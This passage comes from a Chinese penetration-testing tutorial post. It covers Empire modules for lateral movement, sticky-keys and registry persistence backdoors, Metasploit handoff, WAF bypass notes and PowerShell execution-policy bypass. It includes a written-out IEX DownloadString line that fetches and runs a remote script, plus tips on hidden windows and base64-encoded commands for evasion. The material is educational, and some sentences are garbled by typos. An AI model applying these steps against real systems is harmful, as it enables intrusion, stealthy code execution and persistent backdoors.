href="http://img.e-com-net.com/image/info8/bd4101c1d36141a8bd1cbd2f710677aa.jpg" target="_blank"><img alt="" height="83" src="http://img.e-com-net.com/image/info8/bd4101c1d36141a8bd1cbd2f710677aa.jpg" width="554"></a>我们先尝试访问域内另一台主机WIN7-X86的“C$”，顺利访问，如下图所示。 <a href="http://img.e-com-net.com/image/info8/e979edbfbef340fc83561cf4134fcf52.jpg" target="_blank"><img alt="【攻防渗透】_第53张图片" height="253" src="http://img.e-com-net.com/image/info8/e979edbfbef340fc83561cf4134fcf52.jpg" width="554" style="border:1px solid black;"></a>输入revtoself命令可以将令牌权限恢复到原来的状态 2.会话注入 我们也可以使用usemodule management/psinject模块来进程注入，获取权限，输入info查看参数设置，如下图所示。 <a href="http://img.e-com-net.com/image/info8/6ba640b4497b482d8cd31c5df3b560df.jpg" target="_blank"><img alt="【攻防渗透】_第54张图片" height="383" src="http://img.e-com-net.com/image/info8/6ba640b4497b482d8cd31c5df3b560df.jpg" width="524" style="border:1px solid black;"></a>设置下Listeners和ProcID这2个参数，这里的ProcID还是之前的CMD的1380，运行后反弹回一个域用户权限shell。 <a href="http://img.e-com-net.com/image/info8/65e36e27748c40bd8e5603b9ce452f6b.jpg" target="_blank"><img alt="【攻防渗透】_第55张图片" height="209" src="http://img.e-com-net.com/image/info8/65e36e27748c40bd8e5603b9ce452f6b.jpg" width="554" style="border:1px solid black;"></a>3.Invoke-PsExec PsExec是我在Metasploit下经常使用的模块，还有pstools工具包当中也有psexec，缺点是该工具基本杀毒软件都能检测到，并会留下日志，而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。 使用该模块的前提是我们已经获得本地管理员权限，甚至域管理员账户，然后以此来进一步持续渗透整个内网。 我们测试该模块前看下当前agents，只有一个IP为192.168.31.251，机器名为WIN7-64的服务器，如下图所示。 <a href="http://img.e-com-net.com/image/info8/99f423a1ce8e425cbcc3630f99c9c431.jpg" target="_blank"><img alt="" height="80" src="http://img.e-com-net.com/image/info8/99f423a1ce8e425cbcc3630f99c9c431.jpg" width="554"></a>现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86，输入info查看设置参数，如下图所示。 <a href="http://img.e-com-net.com/image/info8/0a03df37fa714a46ba2883b3334ccbef.jpg" target="_blank"><img alt="【攻防渗透】_第56张图片" height="301" src="http://img.e-com-net.com/image/info8/0a03df37fa714a46ba2883b3334ccbef.jpg" width="554" style="border:1px solid black;"></a>这里要设置下机器名和监听，输入下列命令，反弹成功 <a href="http://img.e-com-net.com/image/info8/8fb4f3d8be3540778b5d54df65a71e38.jpg" target="_blank"><img alt="【攻防渗透】_第57张图片" height="120" src="http://img.e-com-net.com/image/info8/8fb4f3d8be3540778b5d54df65a71e38.jpg" width="554" style="border:1px solid black;"></a>输入agents命令查看当前agents，多了一个IP为192.168.31.158，机器名为WIN7-X86的服务器 <a href="http://img.e-com-net.com/image/info8/222e8f9584a94ba0bf39bae9801825b9.jpg" target="_blank"><img alt="" height="93" src="http://img.e-com-net.com/image/info8/222e8f9584a94ba0bf39bae9801825b9.jpg" width="554"></a>攻击者在获取服务器权限后，通常会用一些后门技术来维持服务器权限，服务器一旦被植入后门，攻击者如入无人之境。服务器重启后，我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术。 1.权限持久性劫持shift后门 shitf后门，其实就是使用了windows系统的粘滞键功能，当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序，然后通过按5次就来启动后门。 输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块，可以输入info查看参数，set设置相关参数 <img alt="" height="0" src="http://img.e-com-net.com/image/info8/26e5486039194a22b07ec7872bdef3f1.jpg" width="0">运行后，在目标主机远程登录窗口按5次shift即可触发后门，有一个黑框一闪而过，如下图所示这时看我们的Empire已经有反弹代理上线 <a href="http://img.e-com-net.com/image/info8/595edf3f97a9472db188c8641dc1c266.jpg" target="_blank"><img alt="【攻防渗透】_第58张图片" height="209" src="http://img.e-com-net.com/image/info8/595edf3f97a9472db188c8641dc1c266.jpg" width="467" style="border:1px solid black;"></a>2.注册表注入后门 使用usemodule persistence/userland/registry模块，运行后会在目标主机启动项添加一个命令，可以输入info查看信息 <a href="http://img.e-com-net.com/image/info8/61a17c79600c496db061e51b0bae75a8.jpg" target="_blank"><img alt="【攻防渗透】_第59张图片" height="131" src="http://img.e-com-net.com/image/info8/61a17c79600c496db061e51b0bae75a8.jpg" width="554" style="border:1px solid black;"></a>按如下命令设置其中几个参数，如下图所示。 <a href="http://img.e-com-net.com/image/info8/dba6d0e9d9ad449b9b73d1a4f1a05699.jpg" target="_blank"><img alt="【攻防渗透】_第60张图片" height="374" src="http://img.e-com-net.com/image/info8/dba6d0e9d9ad449b9b73d1a4f1a05699.jpg" width="451" style="border:1px solid black;"></a>重启目标主机，用户登录系统后，会有反弹会话生成 <img alt="" height="0" src="http://img.e-com-net.com/image/info8/41d4be6440aa491e9c2a00f74bce9c17.jpg" width="0">在实际渗透中，当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时，可以使用PowerShell来绕过，也可以执行Empire的Payload来绕过，成功之后再用Empire的模块将其反弹回Metasploit。 首先在Metasploit我们使用multi/script/web_delivery模块，输入如下命令 <a href="http://img.e-com-net.com/image/info8/e8b37b698bf44404b936bceb126115e8.jpg" target="_blank"><img alt="【攻防渗透】_第61张图片" height="301" src="http://img.e-com-net.com/image/info8/e8b37b698bf44404b936bceb126115e8.jpg" width="554" style="border:1px solid black;"></a>使用usemodule code_execution/invoke_metasploitpayload模块，输入info看下参数，如下图所示 <a href="http://img.e-com-net.com/image/info8/b46f34ae55f84faaa5bad2996afcf042.jpg" target="_blank"><img alt="【攻防渗透】_第62张图片" height="345" src="http://img.e-com-net.com/image/info8/b46f34ae55f84faaa5bad2996afcf042.jpg" width="524" style="border:1px solid black;"></a>这里我们只需修改1个参数URL， 修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y 按下列命令设置完毕，然后执行<a href="http://img.e-com-net.com/image/info8/fbc72a4c507942eb838b976763be3de9.jpg" target="_blank"><img alt="" height="55" src="http://img.e-com-net.com/image/info8/fbc72a4c507942eb838b976763be3de9.jpg" width="554"></a> Metasploit收到Empire反弹回来的shell，如下图所示。 <a href="http://img.e-com-net.com/image/info8/5e61196c5f5d46aab952eddcfbeccfed.jpg" target="_blank"><img alt="【攻防渗透】_第63张图片" height="177" src="http://img.e-com-net.com/image/info8/5e61196c5f5d46aab952eddcfbeccfed.jpg" width="554" style="border:1px solid black;"></a>文件上传漏洞概述：在现代互联网的我web应用程序中，上传文件是一种常见的功能，上传文件的时候如果服务器脚本语言对上传的文件进行严格的过滤就有可能上传恶意文件，从而控制整个网站，甚至是服务器。 存在原因：传文件时，如果服务器代码，对客户端上传的文件进行验证和过滤，就容易造成可以上传任意文件的情况，包括上传脚本文件（asp,aspx,php,jsp等格式的文件） 危害:非法用户可以利用上传的恶意脚本文件控制整个网站，。甚至控制服务器，这个恶意文件又称webS核力量，也可将脚本称为一种网页后门，WebShell叫阿奔具有强大功能，比如查看服务器中的文件，执行系统命令。 常见的上传检测规则： 服务器MIME类型检测Content-type内容 客户端JavaScript检测检测文件扩展名 服务器目录路经检测path参数 服务器文件名拓展名检测estension内容 服务器文件内容检测（是否合法或含有恶意代码） 暴力破解漏洞产生与介绍： 产生：由于服务器端没有做限制，导致攻击者可通过暴力的手段破解所需信息（用户名，密码，验证码） 酔 0 介绍：“需要一个大的字典，如4位数字的验证码，暴力破解关键在于字典的大小，常见用于爆破弱口令。 逻辑漏洞： 就是指攻击者鲤鱼精业务的设计缺陷，获取敏感信息或破坏业务的完整性， 越权访问：水平和垂直越权。 越权访问攻击测试链接：http://172.16.200.12/yuequan/test2/admin/viewpassword. WAF：（web应用防火墙）是通过执行一系列对HTTP/HTTPS的安全策略来专门为web应用提供保护。 WAF类型： 软件型（直接检测服务器上是否存在WEBshell） 硬件型（支持多种部署，在旁听监听模式时只记录攻击不进行拦截） 云waf（一般以反向代理的形式工作，通过配置NS记录干活CNAME记录，是对网站的请求优先经过WAF主机，经过WAF过滤后，将认为无害的请求报文在传输给实际网站服务器进行请求） 网站系统内置WAF（在网站内内置的过滤，直接镶嵌在代码里，自由度比较高，有以下四种：①输入参数强制类型转换②输入参数合法性检测③关键函数执行，对经过代码流程的输入进行检测④对输入的数据进行替换过后再继续执行代码执行流程）网站系统内置的WAF与业务更加切合，在对安全与业务都比较了解的情况下，可更 少的收到误报与漏报。 WAF判断方法：①SQLMap 输入sqlmap.py -u “http://xxx.com” --identify-waf --batch 便可找到waf类型 ②直接在相对应网站的url后加最基础的测试语句并放在一个不存在的参数名中。 绕过waf的方法：1，大小写混合 2url编码 替换关键字 使用注释 多参数请求拆分 HTTP参数污染 生僻函数 寻找网站原站IP 注入参数到cookies中 Meteasploit技术： 在使用Kali操作系统是应注意即使更新源，就像平时及时更新手机APP更新命令如下： apt-get update:只更新软件包的索引源，作用：同步源的软件包的索引信息，从而进行软件更新。 Apt-get upgrade:升级系统上安装的所有软件包，如果失败则保持更新之前的状态。 Apt-get dist-upgrade:升级整个Liunux系统（不仅升级所有已安装的软件包，而且会处理升级过程中可能出现的冲突，在某些情况下，他的部分升级需要人工参与）。 渗透攻击大致步骤： *扫描目标及系统，寻找可用漏洞。 *选择并配置一个漏洞利用模块。 *选择并配置一个攻击利用模块。 *选择一个编码技术，用来绕过杀毒软件的查杀。 *渗透攻击。 Powershell 是一种基于任务的命令行解释器和脚本环境，可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计，以.NET框架为平台，Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面，在不需要写入磁盘的情况下执行命令，也可以逃避Anti-Virus检测。另外，可以把PowerShell看作命令行提示符cmd.exe的扩充。 对于渗透，使用PowerShell场景： 第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器，可以通过钓鱼等方式直接执行命令 第二种我们已经到了对方网络，或是一台DMZ的win机器，那么我们利用PowerShell对内网继续深入 基于.NET框架 操作系统信任 提供win系列操作系统的几乎一切访问权限 win7之后默认安装 脚本可以运行在内存中，不需要写入磁盘 cmd.exe通常会被安全软件阻止，一般PowerShell不会 <a href="http://img.e-com-net.com/image/info8/5691f0e15f5f46d6bcbdfe3bb178cf35.jpg" target="_blank"><img alt="【攻防渗透】_第64张图片" height="187" src="http://img.e-com-net.com/image/info8/5691f0e15f5f46d6bcbdfe3bb178cf35.jpg" width="554" style="border:1px solid black;"></a> 常用攻击工具： <a href="http://img.e-com-net.com/image/info8/2951d340c26343398b4c3eb574a8b3e2.jpg" target="_blank"><img alt="【攻防渗透】_第65张图片" height="272" src="http://img.e-com-net.com/image/info8/2951d340c26343398b4c3eb574a8b3e2.jpg" width="552" style="border:1px solid black;"></a> 可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。 <a href="http://img.e-com-net.com/image/info8/c30bc558bdec4c1ba20f8cef168761fc.jpg" target="_blank"><img alt="【攻防渗透】_第66张图片" height="286" src="http://img.e-com-net.com/image/info8/c30bc558bdec4c1ba20f8cef168761fc.jpg" width="554" style="border:1px solid black;"></a>一个PowerShell脚本其实就是一个简单的文本文件，这个文件包含了一系列的 PowerShell命令，每个命令显示为独立的一行，PowerShell文件的后缀为 .PS1。 执行策略： 为防止恶意脚本的执行，PowerShell有一个执行策略，默认情况下，这个执行策略被设置为受限。 我们可以使用： Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。 Restricted：脚本不能运行(默认设置) RemoteSigned：本地创建的脚本可以运行，但是从网上下载的脚本不能运行(拥有数字证书签名的除外) AllSigned：仅当脚本由受信任的发布者签名时才能运行； Unrestricted：允许所有的脚本执行 另外修改PowerShell执行策略：Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行 运行脚本： 运行一个脚本，必须键入完整的路径和文件名，例如，你要运行一个名为a.ps1的脚本，可以键入c:\script\a.ps1 但如果PowerShell脚本文件在你的系统目录中，那么在命令提示符后直接键入脚本文件名即可运行，如.\a.ps1的前面就加上“.\”，这和在Linux下执行Shell脚本的方法一样。 <a href="http://img.e-com-net.com/image/info8/3258628e4f8f4905ab5baafff763cb85.jpg" target="_blank"><img alt="【攻防渗透】_第67张图片" height="208" src="http://img.e-com-net.com/image/info8/3258628e4f8f4905ab5baafff763cb85.jpg" width="554" style="border:1px solid black;"></a>管道： 管道的作用就是将一个命令的输出作为另一个命令的输入，两个命令之间用管道符号(|)连接 例如： 假设停止所有目前运行中的，以“note"字符开头命名的程序 Get-Process note*|stop-process 基本知识： 在PowerShell下，类似“cmd命令”叫做“cmdlet” ，其命令的命名规范很一致，都采用了动词-名词的形式，如Net-Item，动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令，如查看目录可以使用 dir 或者 ls ，并且PowerShell命令不区分大小写。 后面会以文件操作为例讲解PowerShell命令的基本用法 <img alt="" height="0" src="http://img.e-com-net.com/image/info8/53ff4f0151974338b6f9a01106d95472.jpg" width="0">如果运行PowerShell脚本程序，必须用管理员权限将Restricted策略改成Unrestricted <a href="http://img.e-com-net.com/image/info8/b3785765174a4d168ca25b56ff4de7b4.jpg" target="_blank"><img alt="" height="94" src="http://img.e-com-net.com/image/info8/b3785765174a4d168ca25b56ff4de7b4.jpg" width="431"></a> <a href="http://img.e-com-net.com/image/info8/102d859396c0410bb4090bf1b5736fd1.jpg" target="_blank"><img alt="【攻防渗透】_第68张图片" height="267" src="http://img.e-com-net.com/image/info8/102d859396c0410bb4090bf1b5736fd1.jpg" width="554" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/89ce256457674b1799078a7f54fd5193.jpg" target="_blank"><img alt="【攻防渗透】_第69张图片" height="308" src="http://img.e-com-net.com/image/info8/89ce256457674b1799078a7f54fd5193.jpg" width="554" style="border:1px solid black;"></a> 在渗透测试时，就需要采用一些方法绕过策略来执行PowerShell脚本，列举如下三种方式 1.绕过本地权限执行 2.本地隐藏绕过权限执行脚本 3.用IEX下载远程PS1脚本绕过权限执行 如果运行PowerShell脚本程序，必须用管理员权限将Restricted策略改成Unrestricted 在渗透测试时，就需要采用一些方法绕过策略来执行PowerShell脚本，列举如下三种方式 1.绕过本地权限执行 2.本地隐藏绕过权限执行脚本 3.用IEX下载远程PS1脚本绕过权限执行 上传test.ps1到目标主机，在cmd环境下，在目标主机本地当前目录执行该脚本 powershell -exec bypass .\test.ps1 <a href="http://img.e-com-net.com/image/info8/1589295aea9f45a395030a09bfb6e819.jpg" target="_blank"><img alt="【攻防渗透】_第70张图片" height="220" src="http://img.e-com-net.com/image/info8/1589295aea9f45a395030a09bfb6e819.jpg" width="554" style="border:1px solid black;"></a>powershell.exe -exec bypass -W hidden -nop test.ps1 输入命令执行后会退出命令提示符 <a href="http://img.e-com-net.com/image/info8/0149c8de8d5840dbaae3b1c97a76bef2.jpg" target="_blank"><img alt="【攻防渗透】_第71张图片" height="151" src="http://img.e-com-net.com/image/info8/0149c8de8d5840dbaae3b1c97a76bef2.jpg" width="554" style="border:1px solid black;"></a>powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1') <a href="http://img.e-com-net.com/image/info8/f4462265a4eb42129e45453f7d18fc36.jpg" target="_blank"><img alt="【攻防渗透】_第72张图片" height="127" src="http://img.e-com-net.com/image/info8/f4462265a4eb42129e45453f7d18fc36.jpg" width="554" style="border:1px solid black;"></a>对上述命令参数进行说明 ExecvtionPolicy Bypass（-exec bypass）：绕过执行安全策略，这个参数非常重要，在默认情况下，PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数，可以绕过任意一个安全保护规则; WindowStyle Hidden(-w hidden)：隐藏窗口，也就是执行完命令后，窗口隐藏; -command(-c)：执行powershell脚本; NoProfile(-nop)：PowerShell控制台不加载当前用户的配置文件； NoLogo：启动不显示版权标志的PowerShell； Nonlnteractive(-noni)：非交互模式； Noexit：执行后不退出shell，这在使用键盘记录等脚本时非常重要； -enc base64：把ps脚本编码成base64来执行，实战用的最多； <a href="http://img.e-com-net.com/image/info8/37457f02114e437f9e59a612b6224766.jpg" target="_blank"><img alt="" height="78" src="http://img.e-com-net.com/image/info8/37457f02114e437f9e59a612b6224766.jpg" width="554"></a> </div> </div> </div> </div> </div>  <div id="SOHUCS" sid="1610466426420756480"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script>  <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad">  <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div>  <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div>  <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(web安全)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1835327218037911552.htm" title="Web安全:Web体系架构存在的安全问题和解决方室" target="_blank">Web安全:Web体系架构存在的安全问题和解决方室</a> 程序员-张师傅 <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>Web体系架构在提供丰富功能和高效服务的同时，也面临着诸多安全问题。这些问题可能涉及数据泄露、服务中断、系统被控制等多个方面，对企业和个人造成不可估量的损失。以下是对Web体系架构中存在的安全问题及解决方案的详细分析：Web体系架构存在的安全问题注入攻击SQL注入：攻击者通过在输入字段中插入恶意SQL代码，操控后台数据库，窃取、篡改或删除数据。OS命令注入：攻击者通过输入字段插入恶意代码，执行系统</div> </li> <li><a href="/article/1834896977599492096.htm" title="CTF——web方向学习攻略" target="_blank">CTF——web方向学习攻略</a> 一则孤庸 <a class="tag" taget="_blank" href="/search/CTF/1.htm">CTF</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/CTF/1.htm">CTF</a> <div>1计算机基础操作系统：熟悉Linux命令，方便使用Kali。网络技术：HCNA、CCNA。编程能力：拔高项，有更好。2web应用HTTP协议：必须掌握web开发框架web安全测试3数据库数据库基本操作SQL语句数据库优化4刷题</div> </li> <li><a href="/article/1834734741333569536.htm" title="学习笔记：FW内容安全概述" target="_blank">学习笔记：FW内容安全概述</a> TKE_yinian <div>内容安全概述信息安全概述主要威胁关于防护简介内容安全威胁应用层威胁内容安全技术WEB安全应用安全入侵防御检测邮件安全数据安全网络安全反病毒全局环境感知沙箱检测信息安全概述•信息安全是对信息和信息系统进行保护，防止未授权的访问、使用、泄露、中断、修改、破坏并以此提供保密性、完整性和可用性。•为关键资产提供机密性、完整性和可用性（CIA三元组）保护是信息安全的核心目标。CIA（Confidential</div> </li> <li><a href="/article/1834521213418958848.htm" title="网络安全（黑客）自学" target="_blank">网络安全（黑客）自学</a> 白帽子凯哥 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你是一</div> </li> <li><a href="/article/1833833620888973312.htm" title="58手势验证码的分析" target="_blank">58手势验证码的分析</a> allgiveup <div>做爬虫的小伙伴们肯定都深有体会，爬虫要是遇到验证码了基本上就是GG了。于是爬虫工作者和验证码之间必有一战。随着web安全技术的提升，验证码也一代一代的革新，并且越发的变态。小曾也去研究了各式样的验证码，最后决定拿出58手势验证码和大家分享。分析概述首先我对58手势验证码做一个总体的描述。从触发验证码到验证成功，我们操作的背后需要向服务器发送6个请求，并且还有一次js算法对参数加密。6个请求之间有着</div> </li> <li><a href="/article/1833758551831572480.htm" title="web安全学习笔记（1）" target="_blank">web安全学习笔记（1）</a> 头发的天敌是代码 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1.htm">web安全学习笔记</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a> <div>一、网络安全分支1.web安全——网站2.二进制安全物联网安全工控安全二、网站是如何搭建起来的1.服务器服务器与我们的家庭使用电脑有什么区别？①没有显卡②CPU+内存不同于家庭电脑2.操作系统家庭系统：WindowsXPWindows7Windows8Windows9Windows10Windows11服务器操作系统：Windows2000Windows2003Windows2008Windows</div> </li> <li><a href="/article/1833756279013732352.htm" title="Web安全与网络安全：SQL漏洞注入" target="_blank">Web安全与网络安全：SQL漏洞注入</a> hong161688 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a> <div>Web安全与网络安全：SQL漏洞注入引言在Web安全领域，SQL注入漏洞（SQLInjectionVulnerability）是一种极具破坏性的安全威胁。它允许攻击者通过向Web应用程序的输入字段中插入或“注入”恶意的SQL代码片段，从而操纵后台数据库系统，执行未授权的数据库查询，甚至可能获取数据库管理权限，进而对整个系统造成严重的安全损害。本文将从SQL注入的原理、分类、危害及防御策略等方面进行</div> </li> <li><a href="/article/1833727152600739840.htm" title="Web安全与网络安全：SQL漏洞注入" target="_blank">Web安全与网络安全：SQL漏洞注入</a> bigbig猩猩 <a class="tag" taget="_blank" href="/search/typescript/1.htm">typescript</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>Web安全与网络安全：SQL漏洞注入引言在Web安全领域，SQL注入漏洞（SQLInjectionVulnerability）是一种极具破坏性的安全威胁。它允许攻击者通过向Web应用程序的输入字段中插入或“注入”恶意的SQL代码片段，从而操纵后台数据库系统，执行未授权的数据库查询，甚至可能获取数据库管理权限，进而对整个系统造成严重的安全损害。本文将从SQL注入的原理、分类、危害及防御策略等方面进行</div> </li> <li><a href="/article/1833677479475245056.htm" title="Web安全之SQL注入：如何预防及解决" target="_blank">Web安全之SQL注入：如何预防及解决</a> J老熊 <a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/Web%E5%AE%89%E5%85%A8/1.htm">Web安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84/1.htm">系统架构</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div>SQL注入（SQLInjection）是最常见的Web应用漏洞之一，它允许攻击者通过注入恶意SQL代码来操作数据库，获取、修改或删除数据。作为Java开发者，理解并防止SQL注入攻击是至关重要的。在本篇文章中，我们将详细介绍SQL注入的原理，演示如何在电商交易系统中出现SQL注入漏洞，并提供正确的防范措施和解决方案。1.什么是SQL注入？SQL注入是一种通过在用户输入中嵌入恶意SQL代码的攻击方式</div> </li> <li><a href="/article/1833514971900768256.htm" title="Java Web安全与Spring Config对象实战" target="_blank">Java Web安全与Spring Config对象实战</a> 福建低调 <div>本文还有配套的精品资源，点击获取简介：本课程深入探讨JavaWeb开发中的安全实践，包括认证与授权、输入验证、CSRF和XSS防护以及SQL注入防御等关键安全措施。同时，介绍SpringSecurity框架的应用，以及Config对象在Spring配置管理中的作用，包括依赖注入和外部化配置。课程还包括实战演练，通过设置安全环境和安全漏洞模拟，帮助开发者提升应用的安全性和故障排查能力。1.Web安全</div> </li> <li><a href="/article/1833496692800974848.htm" title="自学黑客（网络安全）" target="_blank">自学黑客（网络安全）</a> 白袍无涯 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8/1.htm">系统安全</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/1.htm">计算机网络</a> <div>前言：想自学网络安全（黑客技术）首先你得了解什么是网络安全！什么是黑客！网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟</div> </li> <li><a href="/article/1833466437298122752.htm" title="Web安全之CSRF攻击详解与防护" target="_blank">Web安全之CSRF攻击详解与防护</a> J老熊 <a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/Web%E5%AE%89%E5%85%A8/1.htm">Web安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/csrf/1.htm">csrf</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>在互联网应用中，安全性问题是开发者必须时刻关注的核心内容之一。跨站请求伪造（Cross-SiteRequestForgery,CSRF），是一种常见的Web安全漏洞。通过CSRF攻击，黑客可以冒用受害者的身份，发送恶意请求，执行诸如转账、订单提交等操作，导致严重的安全后果。本文将详细讲解CSRF攻击的原理及其防御方法，结合电商交易系统的场景给出错误和正确的示范代码，并分析常见的安全问题与解决方案，</div> </li> <li><a href="/article/1832223846455930880.htm" title="网络安全（黑客）自学" target="_blank">网络安全（黑客）自学</a> 白帽子凯哥 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你是一</div> </li> <li><a href="/article/1832162319967285248.htm" title="自学黑客（网络安全）" target="_blank">自学黑客（网络安全）</a> L世界凌乱了 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a> 